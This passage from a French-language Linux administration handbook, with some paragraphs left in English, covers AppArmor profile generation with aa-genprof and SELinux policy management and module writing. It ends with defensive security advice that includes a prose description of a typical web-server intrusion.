4 - owner /etc/ssl/openssl.cnf r,

[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore

A

[...]

Profile:  /usr/sbin/dhclient-script

Path:     /usr/bin/dash

New Mode: owner r

Severity: unknown

1 - #include <abstractions/gvfs-open>

[2 - #include <abstractions/lightdm>]

3 - #include <abstractions/ubuntu-browsers.d/plugins-common>

4 - #include <abstractions/xdg-open>

5 - owner /usr/bin/dash r,

(A)llow / [(D)eny] / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Audi(t) / (O)wner permissions off / Abo(r)t / (F)inish

A

Adding #include <abstractions/lightdm> to profile.

Deleted 2 previous matching profile entries.

= Changed Local Profiles =

The following local profiles were changed. Would you like to save them?

[1 - /usr/sbin/dhclient]

2 - /usr/sbin/dhclient-script

(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t

S

Writing updated profile for /usr/sbin/dhclient.

Writing updated profile for /usr/sbin/dhclient-script.

Profiling: /usr/sbin/dhclient

Please start the application to be profiled in

another window and exercise its functionality now.

Once completed, select the "Scan" option below in

order to scan the system logs for AppArmor events.

For each AppArmor event, you will be given the

opportunity to choose whether the access should be

allowed or denied.

[(S)can system log for AppArmor events] / (F)inish

F

Setting /usr/sbin/dhclient to enforce mode.

Setting /usr/sbin/dhclient-script to enforce mode.

Reloaded AppArmor profiles in enforce mode.

Please consider contributing your new profile!

See the following wiki page for more information:

https://gitlab.com/apparmor/apparmor/wikis/Profiles

Finished generating profile for /usr/sbin/dhclient.

Note that the program does not display back the control characters that you type but for the clarity of the explanation we have included them in the previous transcript.

Le premier événement détecté est l'exécution d'un autre programme. Dans ce cas, plusieurs choix s'offrent à nous : on peut soit lancer le programme avec le profil du programme parent (Inherit), soit le lancer avec un profil dédié (Profile et Name, qui ne diffèrent que par la possibilité de choisir un nom de profil arbitraire), soit le lancer avec un sous-profil du processus parent (Child), soit le lancer sans aucun profil (Unconfined), soit ne pas le lancer du tout (Deny).

À noter que lorsque l'on choisit de lancer le processus fils selon un profil dédié mais qui n'existe pas encore, l'outil va créer le profil manquant, et proposer des suggestions de règles par la même occasion.

Au niveau du noyau, les pouvoirs spéciaux de l'utilisateur root ont été séparés en « capacités ». Lorsqu'un appel système a besoin d'une capacité spécifique, AppArmor va vérifier que le profil permet au programme d'utiliser cette capacité.

Here the program seeks read permissions for /etc/ssl/openssl.cnf. aa-genprof detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include <abstractions/openssl>” choice and then “A” to allow it.

Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed /usr/sbin/dhclient-script to run with its own profile.

Une fois que tous les événements enregistrés ont été examinés, le programme propose de sauver tous les profils qui ont été créés pendant l'exécution. Dans notre cas, nous avons deux profils que nous enregistrons d'un coup avec « Save » (mais nous aurions aussi pu les enregistrer un par un) avant de quitter le programme avec « Finish ».

aa-genprof n'est en fait qu'un petit script intelligent qui utilise aa-logprof : il crée un profil vide, le charge en mode relâché, puis lance aa-logprof. Ce dernier est un outil qui met à jour un profil en fonction des violations qui ont été enregistrées. On peut donc relancer cet outil plus tard, de manière à améliorer le profil nouvellement créé.

If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a /etc/apparmor.d/usr.sbin.dhclient close to the profile shipped by apparmor-profiles in /usr/share/apparmor/extra-profiles/sbin.dhclient.

And /etc/apparmor.d/usr.sbin.dhclient-script might be similar to /usr/share/apparmor/extra-profiles/sbin.dhclient, shipped in apparmor-profiles too.

14.5. Introduction à SELinux

14.5.1. Les principes

SELinux (Security Enhanced Linux) est un système de contrôle d'accès obligatoire (Mandatory Access Control) qui s'appuie sur l'interface Linux Security Modules fournie par le noyau Linux. Concrètement, le noyau interroge SELinux avant chaque appel système pour savoir si le processus est autorisé à effectuer l'opération concernée.

SELinux s'appuie sur un ensemble de règles (policy) pour autoriser ou interdire une opération. Ces règles sont assez délicates à créer, mais heureusement deux jeux de règles standards (targeted et strict) sont fournies pour éviter le plus gros du travail de configuration.

Le système de permissions de SELinux est totalement différent de ce qu'offre un système Unix traditionnel. Les droits d'un processus dépendent de son contexte de sécurité. Le contexte est défini par l'identité de celui qui a démarré le processus, le rôle et le domaine qu'il avait à ce moment. Les permissions proprement dites dépendent du domaine, mais les transitions entre les domaines sont contrôlées par les rôles. Enfin, les transitions autorisées entre rôles dépendent de l'identité.

Figure 14.1. Contextes de sécurité et utilisateurs Unix

In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call newrole -r role_r -t domain_t (there is usually only a single domain allowed for a given role, the -t parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy.

Bien entendu, les droits ne s'appliquent pas universellement à tous les objets (fichiers, répertoires, sockets, périphériques, etc.), ils peuvent varier d'un objet à l'autre. Pour cela, chaque objet est associé à un type (on parle d'étiquetage). Les droits des domaines s'expriment donc en termes d'opérations autorisées (ou non) sur ces types (donc implicitement sur tous les objets qui sont marqués avec le type correspondant).

COMPLÉMENTS Domaine et type sont équivalents

Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with _t just like objects' types.

Par défaut, un programme exécuté hérite du domaine de l'utilisateur qui l'a démarré. Mais pour la plupart des programmes importants, les règles SELinux standards prévoient de les faire fonctionner dans un domaine dédié. Pour cela, ces exécutables sont étiquetés avec un type dédié (par exemple ssh est étiqueté avec ssh_exec_t et lorsque le programme est démarré, il bascule automatiquement dans le domaine ssh_t). Ce mécanisme de changement automatique de domaine permet de ne donner que les droits nécessaires au bon fonctionnement de chaque programme et est à la base de SELinux.

Figure 14.2. Transitions automatiques entre domaines

EN PRATIQUE Connaître le contexte de sécurité

Pour connaître le contexte de sécurité actuellement actif dans un terminal de commande, il faut invoquer id -Z.

$ id -Z

unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

If you receive a message saying id: --context (-Z) works only on an SELinux-enabled kernel instead, then you need to enable SELinux first by running selinux-activate and rebooting.

Pour connaître le contexte de sécurité appliqué à un processus, il faut employer l'option Z de ps.

$ ps axZ | grep vstfpd

system_u:system_r:ftpd_t:s0   2094 ?    Ss  0:00 /usr/sbin/vsftpd

Le premier champ contient l'identité, le rôle, le domaine et le niveau MCS, séparés par des deux-points. Le niveau MCS (Multi-Category Security) est un paramètre intervenant dans la mise en place d'une politique de protection de la confidentialité, laquelle restreint l'accès aux fichiers selon leur degré de confidentialité. Cette fonctionnalité ne sera pas abordée dans ce livre.

Enfin, pour connaître le type affecté à un fichier, on peut employer ls -Z.

$ ls -Z test /usr/bin/ssh

unconfined_u:object_r:user_home_t:s0 test

system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh

Signalons que l'identité et le rôle associé à un fichier n'ont pas d'importance particulière, ils n'interviennent jamais. Mais par souci d'uniformisation, tous les objets se voient attribuer un contexte de sécurité complet.

14.5.2. La mise en route

Le code de SELinux est intégré dans les noyaux standards fournis par Debian et les programmes Unix de base le gèrent sans modification. Il est donc relativement simple d'activer SELinux.

The apt install selinux-basics selinux-policy-default auditd command will automatically install the packages required to configure an SELinux system.

Le paquet selinux-policy-default contient un ensemble de règles standards. Par défaut, l'ensemble de règles ne restreint les accès que pour certains services très exposés. Les sessions utilisateur ne sont pas restreintes et il n'y a donc que peu de risques que SELinux bloque des opérations légitimes des utilisateurs. En revanche, cela permet d'apporter un surcroît de sécurité pour les services système fonctionnant sur la machine. Pour obtenir l'équivalent des anciennes règles « strictes », il faut simplement désactiver le module unconfined (la gestion des modules est détaillée plus loin).

Une fois les règles installées, il reste à étiqueter tous les fichiers disponibles (il s'agit de leur affecter un type). C'est une opération qu'il faut déclencher manuellement avec fixfiles relabel.

Le système SELinux est prêt, il ne reste plus qu'à l'activer. Pour cela, il faut passer le paramètre selinux=1 security=selinux au noyau Linux. Le paramètre audit=1 active les traces SELinux qui enregistrent les différentes opérations qui ont été refusées. Enfin, le paramètre enforcing=1 permet de mettre en application l'ensemble des règles : en effet, par défaut SELinux fonctionne en mode permissive où les actions interdites sont tracées mais malgré tout autorisées. Il faut donc modifier le fichier de configuration du chargeur de démarrage GRUB pour ajouter les paramètres désirés. Le plus simple pour cela est de modifier la variable GRUB_CMDLINE_LINUX dans /etc/default/grub et d'exécuter update-grub. Au démarrage suivant, SELinux sera actif.

Signalons que le script selinux-activate automatise ces opérations et permet de forcer un étiquetage au prochain redémarrage, ce qui évite d'avoir des fichiers non étiquetés créés alors que SELinux n'était pas encore actif et que l'étiquetage était en cours.

14.5.3. La gestion d'un système SELinux

L'ensemble de règles SELinux est modulaire et son installation détecte et active automatiquement tous les modules pertinents en fonction des services déjà installés. Ainsi, le système est immédiatement fonctionnel. Toutefois, lorsqu'un service est installé après les règles SELinux, il faut pouvoir activer manuellement un module de règles. C'est le rôle de la commande semodule. En outre, il faut pouvoir définir les rôles accessibles à chaque utilisateur ; pour cela c'est la commande semanage qu'il faudra utiliser.

Ces deux commandes modifient donc la configuration SELinux courante qui est stockée dans /etc/selinux/default/. Contrairement à ce qui se pratique d'habitude avec les fichiers de configuration de /etc/, ces fichiers ne doivent pas être modifiés manuellement. Il faut les manipuler en utilisant les programmes prévus pour cela.

POUR ALLER PLUS LOIN Plus de documentation

Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution.

→ https://selinuxproject.org

You should also have a look at the dedicated Debian wiki page.

→ https://wiki.debian.org/SELinux

14.5.3.1. Gestion des modules SELinux

Les modules SELinux disponibles sont stockés dans le répertoire /usr/share/selinux/default/. Pour activer un de ces modules dans la configuration courante, il faut employer semodule -i module.pp.bz2. L'extension pp.bz2 signifie policy package que l'on pourrait traduire par « paquet de règles » (comprimé avec bzip2).

À l'inverse, la commande semodule -r module retire un module de la configuration courante. Enfin, la commande semodule -l liste les modules qui sont actuellement installés. La commande inclut également le numéro de version du module.

# semodule -i /usr/share/selinux/default/abrt.pp.bz2

libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system.

# semodule -l

accountsd

acct

[...]

# semodule -e abrt

# semodule -d accountsd

# semodule -l

abrt

acct

[...]

# semodule -r abrt

libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active.

semodule recharge immédiatement la nouvelle configuration, sauf si l'on utilise l'option -n. Signalons également que le programme modifie par défaut la configuration courante (celle indiquée par la variable SELINUXTYPE dans /etc/selinux/config) mais qu'on peut en modifier une autre grâce à l'option -s.

14.5.3.2. Gestion des identités

Chaque fois qu'un utilisateur se connecte, il se voit attribuer une identité SELinux, qui va définir les rôles qu'il va pouvoir assumer. Ces deux correspondances (de l'utilisateur vers l'identité SELinux et de cette identité vers les rôles) se configurent grâce à la commande semanage.

You should definitely read the semanage(8) manual page. All the managed concepts have their own manual page; for instance, semanage-login(8). Even if the command's syntax tends to be similar for all the concepts which are managed, it is recommended to read its manual page. You will find common options to most subcommands: -a to add, -d to delete, -m to modify, -l to list, and -t to indicate a type (or domain).

semanage login -l liste les correspondances existantes entre identifiants d'utilisateurs et identités SELinux. Si un utilisateur n'a pas de correspondance explicite, il aura l'identité indiquée en face de __default__. La commande semanage login -a -s user_u utilisateur va associer l'identité user_u à l'utilisateur. Enfin, semanage login -d utilisateur va retirer la correspondance affectée à l'utilisateur.

# semanage login -a -s user_u rhertzog

# semanage login -l

Login Name           SELinux User         MLS/MCS Range        Service

__default__          unconfined_u         s0-s0:c0.c1023       *

rhertzog             user_u               s0                   *

root                 unconfined_u         s0-s0:c0.c1023       *

# semanage login -d rhertzog

semanage user -l liste les correspondances entre identité SELinux et rôles possibles. Ajouter une nouvelle identité nécessite de préciser d'une part les rôles correspondants et d'autre part, un préfixe d'étiquetage qui définira le type affecté aux fichiers personnels (/home/utilisateur/*). Le préfixe est à choisir entre user, staff et sysadm. Un préfixe « staff » donnera des fichiers typés staff_home_dir_t. La commande créant une identité est semanage user -a -R rôles -P préfixe identité. Enfin, une identité peut être supprimée avec semanage user -d identité.

# semanage user -a -R 'staff_r user_r' -P staff test_u

# semanage user -l

Labeling   MLS/       MLS/

SELinux User    Prefix     MCS Level  MCS Range                      SELinux Roles

root            sysadm     s0         s0-s0:c0.c1023                 staff_r sysadm_r system_r

staff_u         staff      s0         s0-s0:c0.c1023                 staff_r sysadm_r

sysadm_u        sysadm     s0         s0-s0:c0.c1023                 sysadm_r

system_u        user       s0         s0-s0:c0.c1023                 system_r

test_u          staff      s0         s0                             staff_r user_r

unconfined_u    unconfined s0         s0-s0:c0.c1023                 system_r unconfined_r

user_u          user       s0         s0                             user_r

# semanage user -d test_u

14.5.3.3. Gestion des contextes de fichiers, des ports et des booléens

Chaque module SELinux fournit un ensemble de règles d'étiquetage des fichiers, mais il est également possible de rajouter des règles d'étiquetage spécifiques afin de les adapter à un cas particulier. Ainsi, pour rendre toute l'arborescence /srv/www/ accessible au serveur web, on pourrait exécuter semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?", puis restorecon -R /srv/www/. La première commande enregistre la nouvelle règle d'étiquetage et la seconde restaure les bonnes étiquettes en fonction des règles enregistrées.

D'une manière similaire, les ports TCP/UDP sont étiquetés afin que seuls les démons correspondants puissent y écouter. Ainsi, si l'on veut que le serveur web puisse également écouter sur le port 8 080, il faut exécuter la commande semanage port -m -t http_port_t -p tcp 8080.

Some SELinux modules export Boolean options that you can tweak to alter the behavior of the default rules. The getsebool utility can be used to inspect those options (getsebool boolean displays one option, and getsebool -a them all). The setsebool boolean value command changes the current value of a Boolean option. The -P option makes the change permanent, it means that the new value becomes the default and will be kept across reboots. The example below grants web servers an access to home directories (this is useful when users have personal websites in ~/public_html/).

# getsebool httpd_enable_homedirs

httpd_enable_homedirs --> off

# setsebool -P httpd_enable_homedirs on

# getsebool httpd_enable_homedirs

httpd_enable_homedirs --> on

14.5.4. L'adaptation des règles

Puisque l'ensemble des règles (que l'on nomme policy) est modulaire, il peut être intéressant de développer de nouveaux modules pour les applications (éventuellement spécifiques) qui n'en disposent pas encore, ces nouveaux modules venant alors compléter la reference policy.

Le paquet selinux-policy-dev sera nécessaire, ainsi que selinux-policy-doc. Ce dernier contient la documentation des règles standards (/usr/share/doc/selinux-policy-doc/html/) et des fichiers exemples permettant de créer de nouveaux modules. Installons ces fichiers pour les étudier de plus près :

$ cp /usr/share/doc/selinux-policy-doc/Makefile.example Makefile

$ cp /usr/share/doc/selinux-policy-doc/example.fc ./

$ cp /usr/share/doc/selinux-policy-doc/example.if ./

$ cp /usr/share/doc/selinux-policy-doc/example.te ./

Le fichier .te est le plus important : il définit les règles à proprement parler. Le fichier .fc définit les « contextes des fichiers », autrement dit les types affectés aux fichiers relatifs à ce module. Les informations du .fc sont utilisées lors de l'étiquetage des fichiers sur le disque. Enfin, le fichier .if définit l'interface du module ; il s'agit d'un ensemble de « fonctions publiques » qui permettent à d'autres modules de s'interfacer proprement avec celui en cours de création.

14.5.4.1. Rédiger un fichier .fc

La lecture de l'exemple qui suit suffit à comprendre la structure d'un tel fichier. Il est possible d'employer une expression rationnelle pour affecter le même contexte à plusieurs fichiers, voire à toute une arborescence.

Exemple 14.2. Fichier example.fc

# myapp executable will have:

# label: system_u:object_r:myapp_exec_t

# MLS sensitivity: s0

# MCS categories: <none>

/usr/sbin/myapp         --      gen_context(system_u:object_r:myapp_exec_t,s0)

14.5.4.2. Rédiger un fichier .if

Dans l'exemple suivant, la première interface (myapp_domtrans) sert à contrôler qui a le droit d'exécuter l'application et la seconde (myapp_read_log) fournit un droit de lecture sur les fichiers de logs de l'application.

Chaque interface doit générer un ensemble correct de règles comme s'il était directement placé dans un fichier .te. Il faut donc déclarer tous les types employés (avec la macro gen_require) et employer les directives standards pour attribuer des droits. Notons toutefois qu'il est possible d'employer des interfaces fournies par d'autres modules. La prochaine section en dévoilera plus sur la manière d'exprimer ces droits.

Exemple 14.3. Fichier example.if

## <summary>Myapp example policy</summary>

## <desc>

##      <p>

##              More descriptive text about myapp.  The desc

##              tag can also use p, ul, and ol

##              html tags for formatting.

##      </p>

##      <p>

##              This policy supports the following myapp features:

##              <ul>

##              <li>Feature A</li>

##              <li>Feature B</li>

##              <li>Feature C</li>

##              </ul>

##      </p>

## </desc>

#

########################################

## <summary>

##      Execute a domain transition to run myapp.

## </summary>

## <param name="domain">

##      <summary>

##      Domain allowed to transition.

##      </summary>

## </param>

#

interface(`myapp_domtrans',`

gen_require(`

type myapp_t, myapp_exec_t;

')

domtrans_pattern($1,myapp_exec_t,myapp_t)

')

########################################

## <summary>

##      Read myapp log files.

## </summary>

## <param name="domain">

##      <summary>

##      Domain allowed to read the log files.

##      </summary>

## </param>

#

interface(`myapp_read_log',`

gen_require(`

type myapp_log_t;

')

logging_search_logs($1)

allow $1 myapp_log_t:file read_file_perms;

')

DOCUMENTATION Explications sur la reference policy

The reference policy evolves like any free software project: based on volunteer contributions. The project is hosted by Tresys, one of the most active companies in the SELinux field. Their wiki contains explanations on how the rules are structured and how you can create new ones.

→ https://github.com/SELinuxProject/refpolicy/wiki/GettingStarted

14.5.4.3. Rédiger un fichier .te

Analysons le contenu du fichier example.te :

POUR ALLER PLUS LOIN Langage de macro m4

Pour structurer proprement l'ensemble des règles, les développeurs de SELinux se sont appuyés sur un langage de création de macro-commandes. Au lieu de répéter à l'infini des directives allow très similaires, la création de fonctions « macro » permet d'utiliser une logique de plus haut niveau et donc de rendre l'ensemble de règles plus lisible.

Dans la pratique, la compilation des règles va faire appel à l'outil m4 pour effectuer l'opération inverse : à partir des directives de haut niveau, il va reconstituer une grande base de données de directives allow.

Ainsi, les « interfaces » ne sont rien que des fonctions macro qui vont être remplacées par un ensemble de règles au moment de la compilation. De même, certaines permissions sont en réalité des ensembles de permissions qui sont remplacées par leur valeur au moment de la compilation.

policy_module(example,1.0.0) # a non-base module name must match the file name

########################################

#

# Declarations

#

type myapp_t;

type myapp_exec_t;

domain_type(myapp_t)

domain_entry_file(myapp_t, myapp_exec_t)

type myapp_log_t;

logging_log_file(myapp_log_t)

type myapp_tmp_t;

files_tmp_file(myapp_tmp_t)

########################################

#

# Myapp local policy

#

allow myapp_t myapp_log_t:file { read_file_perms append_file_perms };

allow myapp_t myapp_tmp_t:file manage_file_perms;

files_tmp_filetrans(myapp_t,myapp_tmp_t,file)

Le module doit être identifié par son nom et par son numéro de version. Cette directive est requise.

Si le module introduit de nouveaux types, il doit les déclarer avec des directives comme celle-ci. Il ne faut pas hésiter à créer autant de types que nécessaires, plutôt que distribuer trop de droits inutiles.

Ces interfaces précisent que le type myapp_t est prévu pour être un domaine de processus et qu'il doit être employé pour tout exécutable étiqueté par myapp_exec_t. Implicitement, cela ajoute un attribut exec_type sur ces objets. Sa présence permet à d'autres modules de donner le droit d'exécuter ces programmes : ainsi, le module userdomain va permettre aux processus de domaine user_t, staff_t et sysadm_t de les exécuter. Les domaines d'autres applications confinées n'auront pas le droit de l'exécuter, sauf si les règles prévoient des droits similaires (c'est le cas par exemple pour dpkg avec le domaine dpkg_t).

logging_log_file is an interface provided by the reference policy. It indicates that files labeled with the given type are log files which ought to benefit from the associated rules (for example, granting rights to logrotate so that it can manipulate them).

La directive allow est la directive de base qui permet d'autoriser une opération. Le premier paramètre est le domaine du processus qui sera autorisé à effectuer l'opération. Le second décrit l'objet qu'un processus du domaine aura le droit de manipuler. Ce paramètre prend la forme « type:genre » où type est son type SELinux et où genre décrit la nature de l'objet (fichier, répertoire, socket, fifo, etc.). Enfin, le dernier paramètre décrit les permissions (les opérations qui sont autorisées).

Les permissions se définissent comme des ensembles d'opérations autorisées et prennent la forme { operation1 operation2 }. Il est également possible d'employer des macros qui correspondent aux ensembles de permissions les plus utiles. Le fichier /usr/share/selinux/devel/include/support/obj_perm_sets.spt permet de les découvrir.

The following web page provides a relatively exhaustive list of object classes, and permissions that can be granted.

→ https://selinuxproject.org/page/ObjectClassesPerms

Il ne reste plus qu'à trouver l'ensemble minimal des règles nécessaires au bon fonctionnement du service ou de l'application ciblé(e) par le module. Pour cela, il est préférable de bien connaître le fonctionnement de l'application et d'avoir une idée claire des flux de données qu'elle gère et/ou génère.

Toutefois, une approche empirique est possible. Une fois les différents objets impliqués correctement étiquetés, on peut utiliser l'application en mode permissif : les opérations normalement interdites sont tracées mais réussissent tout de même. Il suffit alors d'analyser ces traces pour identifier les opérations qu'il faut autoriser. Voici à quoi peut ressembler une de ces traces :

avc:  denied  { read write } for  pid=1876 comm="syslogd" name="xconsole" dev=tmpfs ino=5510 scontext=system_u:system_r:syslogd_t:s0 tcontext=system_u:object_r:device_t:s0 tclass=fifo_file permissive=1

Pour mieux comprendre ce message, analysons-le bout par bout.

Tableau 14.1. Analyse d'une trace SELinux

Message

Description

avc: denied

Une opération a été refusée.

{ read write }

Cette opération requérait les permissions read et write.

pid=1876

Le processus ayant le PID 1876 a exécuté l'opération (ou essayé de l'exécuter).

comm="syslogd"

Le processus était une instance de la commande syslogd.

name="xconsole"

L'objet visé s'appelait xconsole. Dans certains cas on peut aussi avoir une variable « path », avec un chemin d'accès complet.

dev=tmpfs

The device hosting the target object is a tmpfs (an in-memory filesystem). For a real disk, you could see the partition hosting the object (for example, “sda3”).

ino=5510

L'objet est identifié par le numéro d'inode 5510.

scontext=system_u:system_r:syslogd_t:s0

C'est le contexte de sécurité courant du processus qui a exécuté l'opération.

tcontext=system_u:object_r:device_t:s0

C'est le contexte de sécurité de l'objet cible.

tclass=fifo_file

L'objet cible est un fichier FIFO.

By observing this log entry, it is possible to build a rule that would allow this operation. For example, allow syslogd_t device_t:fifo_file { read write }. This process can be automated, and it is exactly what the audit2allow command (of the policycoreutils package) offers. This approach is only useful if the various objects are already correctly labeled according to what must be confined. In any case, you will have to carefully review the generated rules and validate them according to your knowledge of the application. Effectively, this approach tends to grant more rights than are really required. The proper solution is often to create new types and to grant rights on those types only. It also happens that a denied operation isn't fatal to the application, in which case it might be better to just add a “dontaudit” rule to avoid the log entry despite the effective denial.

COMPLÉMENTS Pas de rôle dans les règles

On peut s'étonner que les rôles n'interviennent à aucun moment dans la création des règles. SELinux emploie uniquement les domaines pour savoir quelles opérations sont permises. Le rôle n'intervient qu'indirectement en permettant à l'utilisateur d'accéder à un autre domaine. SELinux en tant que tel est basé sur une théorie connue sous le nom de Type Enforcement (Application de types) et le type (ou domaine) est le seul élément qui compte dans l'attribution des droits.

14.5.4.4. Compilation des fichiers

Once the 3 files (example.if, example.fc, and example.te) match your expectations for the new rules, rename them to myapp.extension and run make NAME=devel to generate a module in the myapp.pp file (you can immediately load it with semodule -i myapp.pp). If several modules are defined, make will create all the corresponding .pp files.

14.6. Autres considérations sur la sécurité

La sécurité n'est pas un simple problème de technique. C'est avant tout de bonnes habitudes et une bonne compréhension des risques. Cette section propose donc une revue de certains risques fréquents, ainsi qu'une série de bonnes pratiques, qui, selon le cas, amélioreront la sécurité ou réduiront l'impact d'une attaque fructueuse.

14.6.1. Risques inhérents aux applications web

L'universalité des applications web a entraîné leur multiplication et il est fréquent d'en avoir plusieurs en service : un webmail, un wiki, un groupware, des forums, une galerie de photos, un blog, etc. Un grand nombre de ces applications s'appuient sur les technologies LAMP (Linux Apache Mysql PHP). Malheureusement, beaucoup ont aussi été écrites sans faire trop attention aux problèmes de sécurité. Trop souvent, les données externes sont utilisées sans vérifications préalables et il est possible de subvertir l'appel d'une commande pour qu'il en résulte une autre, simplement en fournissant une valeur inattendue. Avec le temps, les problèmes les plus évidents ont été corrigés, mais de nouvelles failles de sécurité sont régulièrement découvertes.

VOCABULAIRE Injection SQL

When a program inserts data into SQL queries in an insecure manner, it becomes vulnerable to SQL injections; this name covers the act of changing a parameter in such a way that the actual query executed by the program is different from the intended one, either to damage the database or to access data that should normally not be accessible.

→ https://en.wikipedia.org/wiki/SQL_Injection

Updating web applications regularly is therefore a must, lest any cracker (whether a professional attacker or a “script kiddy“) can exploit a known vulnerability. The actual risk depends on the case, and ranges from data destruction to arbitrary code execution, including web site defacement.

14.6.2. Savoir à quoi s'attendre

Ainsi donc, la vulnérabilité d'une application web est un point de départ fréquent pour un acte de piraterie. Voyons quelles peuvent en être les conséquences.

DÉCOUVERTE Filtrer les requêtes HTTP

Apache 2 includes modules allowing filtering incoming HTTP queries. This allows blocking some attack vectors. For instance, limiting the length of parameters can prevent buffer overflows. More generally, one can validate parameters before they are even passed to the web application and restrict access along many criteria. This can even be combined with dynamic firewall updates, so that a client infringing one of the rules is banned from accessing the web server for a given period of time.

Ces vérifications sont pénibles à mettre en place, mais elles s'avèrent assez efficaces si l'on est contraint de déployer une application web à la sécurité incertaine.

mod-security2 (paquet libapache2-mod-security2) est le principal module qui peut être employé dans cette optique. Il est accompagné de nombreuses règles prêtes à l'emploi et simples à installer (dans le paquet modsecurity-crs package).

The consequences of an intrusion will have various levels of obviousness depending on the motivations of the attacker. “Script-kiddies“ only apply recipes they find on web sites; most often, they deface a web page or delete data. In more subtle cases, they add invisible contents to web pages so as to improve referrals to their own sites in search engines.

Un pirate plus avancé ne se contentera pas de ce maigre résultat. Un scénario catastrophe pourrait se poursuivre comme suit : le pirate a obtenu la possibilité d'exécuter des commandes en tant qu'utilisateur www-data, mais cela requiert de nombreuses manipulations pour chaque commande. Il va chercher à se faciliter la vie en installant d'autres applications web précisément développées pour exécuter à distance toutes sortes de commandes : naviguer dans l'arborescence, analyser les droits, télécharger des fichiers, en déposer, exécuter des commandes et, le summum, mettre à disposition un interpréteur de commandes par le réseau. Très fréquemment, la faille lui permettra de lancer un wget qui va télécharger un programme malfaisant dans /tmp/ et il l'exécutera dans la foulée. Le programme sera téléchargé depuis un serveur étranger qui, lui aussi, a été compromis, l'intérêt étant de brouiller les pistes si jamais l'on voulait remonter à l'origine de l'attaque.

À ce stade, l'attaquant a tellement de liberté qu'il installe souvent un bot IRC (un robot qui se connecte à un serveur IRC et qui peut être commandé par ce biais). Il sert souvent à échanger des fichiers illégaux (films et logiciels piratés, etc.). Un pirate déterminé peut vouloir aller encore plus loin. Le compte www-data ne permet pas de profiter pleinement de la machine ; il va donc chercher à obtenir les privilèges de l'administrateur. C'est théoriquement impossible, mais si l'application web n'était pas à jour, il est probable que le noyau ou un autre programme ne le soit pas non plus. D'ailleurs, l'administrateur avait bien vu passer l'annonce d'une vulnérabilité, mais puisque cela n'était exploitable que localement et que le serveur n'avait pas d'utilisateur local, il n'a pas pris soin de mettre à jour. L'attaquant profite donc de cette deuxième faille pour obtenir un accès root.

VOCABULAIRE Élévation des privilèges

Cette technique consiste à obtenir plus de droits qu'un utilisateur n'en a normalement. Le programme sudo est prévu pour cela : donner les droits d'administrateur à certains utilisateurs. On emploie aussi la même expression pour désigner l'action d'un pirate qui exploite une faille pour obtenir des droits qu'il ne possède pas. En anglais, l'expression est privilege escalation.

Now the attacker owns the machine; they will usually try to keep this privileged access for as long as possible. This involves installing a rootkit, a program that will replace some components of the system so that the attacker will be able to obtain the administrator privileges again at a later time (see also DÉCOUVERTE Les paquets checksecurity et chkrootkit/rkhunter); the rootkit also tries hiding its own existence as well as any traces of the intrusion. A subverted ps program will omit to list some processes, netstat will not list some of the active connections, and so on. Using the root permissions, the attacker was able to observe the whole system, but didn't find important data; so they will try accessing other machines in the corporate network. Analyzing the administrator's account and the history files, the attacker finds what machines are routinely accessed. By replacing sudo or ssh with a subverted program, the attacker can intercept some of the administrator's passwords, which they will use on the detected servers… and the intrusion can propagate from then on.

Pour éviter d'en arriver là, il y a de nombreuses mesures à prendre. Les prochaines sections s'attacheront à en présenter quelques-unes.

14.6.3. Bien choisir les logiciels

Once the potential security problems are known, they must be taken into account at each step of the process of deploying a service, especially when choosing the software to install. Many web sites keep a list of recently-discovered vulnerabilities, which can give an idea of a security track record before some particular software is deployed. Of course, this information must be balanced against the popularity of said software: a more widely-used program is a more tempting target, and it will be more closely scrutinized as a consequence. On the other hand, a niche program may be full of security holes that never get publicized due to a lack of interest in a security audit.

VOCABULAIRE Audit de sécurité

Un audit de sécurité est une lecture et une analyse du code source afin de trouver toutes les failles de sécurité qu'il pourrait contenir. Un audit est souvent préventif ; il est réalisé pour s'assurer que le programme est conforme à certaines exigences de sécurité.

In the free software world, there is generally ample room for choice, and choosing one piece of software over another should be a decision based on the criteria that apply locally. More features imply an increased risk of a vulnerability hiding in the code; picking the most advanced program for a task may actually be counter-productive, and a better approach is usually to pick the simplest program that meets the requirements.

VOCABULAIRE Zero day exploit

Une attaque de type zero day exploit est imparable. Il s'agit d'une attaque utilisant une faille qui n'est pas encore connue des auteurs du logiciel.

14.6.4. Gérer une machine dans son ensemble

La plupart des distributions Linux installent en standard un certain nombre de services Unix ainsi que de nombreux utilitaires. Dans bien des cas, ils ne sont pas nécessaires au bon fonctionnement des services que l'administrateur met en place sur la machine. Comme bien souvent en sécurité, il vaut mieux supprimer tout ce qui n'est pas nécessaire. En effet, cela ne sert à rien de s'appuyer sur un serveur FTP sécurisé si une faille dans un service inutilisé fournit un accès administrateur à la machine.

C'est la même logique qui incite à configurer un pare-feu n'autorisant l'accès qu'aux services qui doivent être accessibles au public.

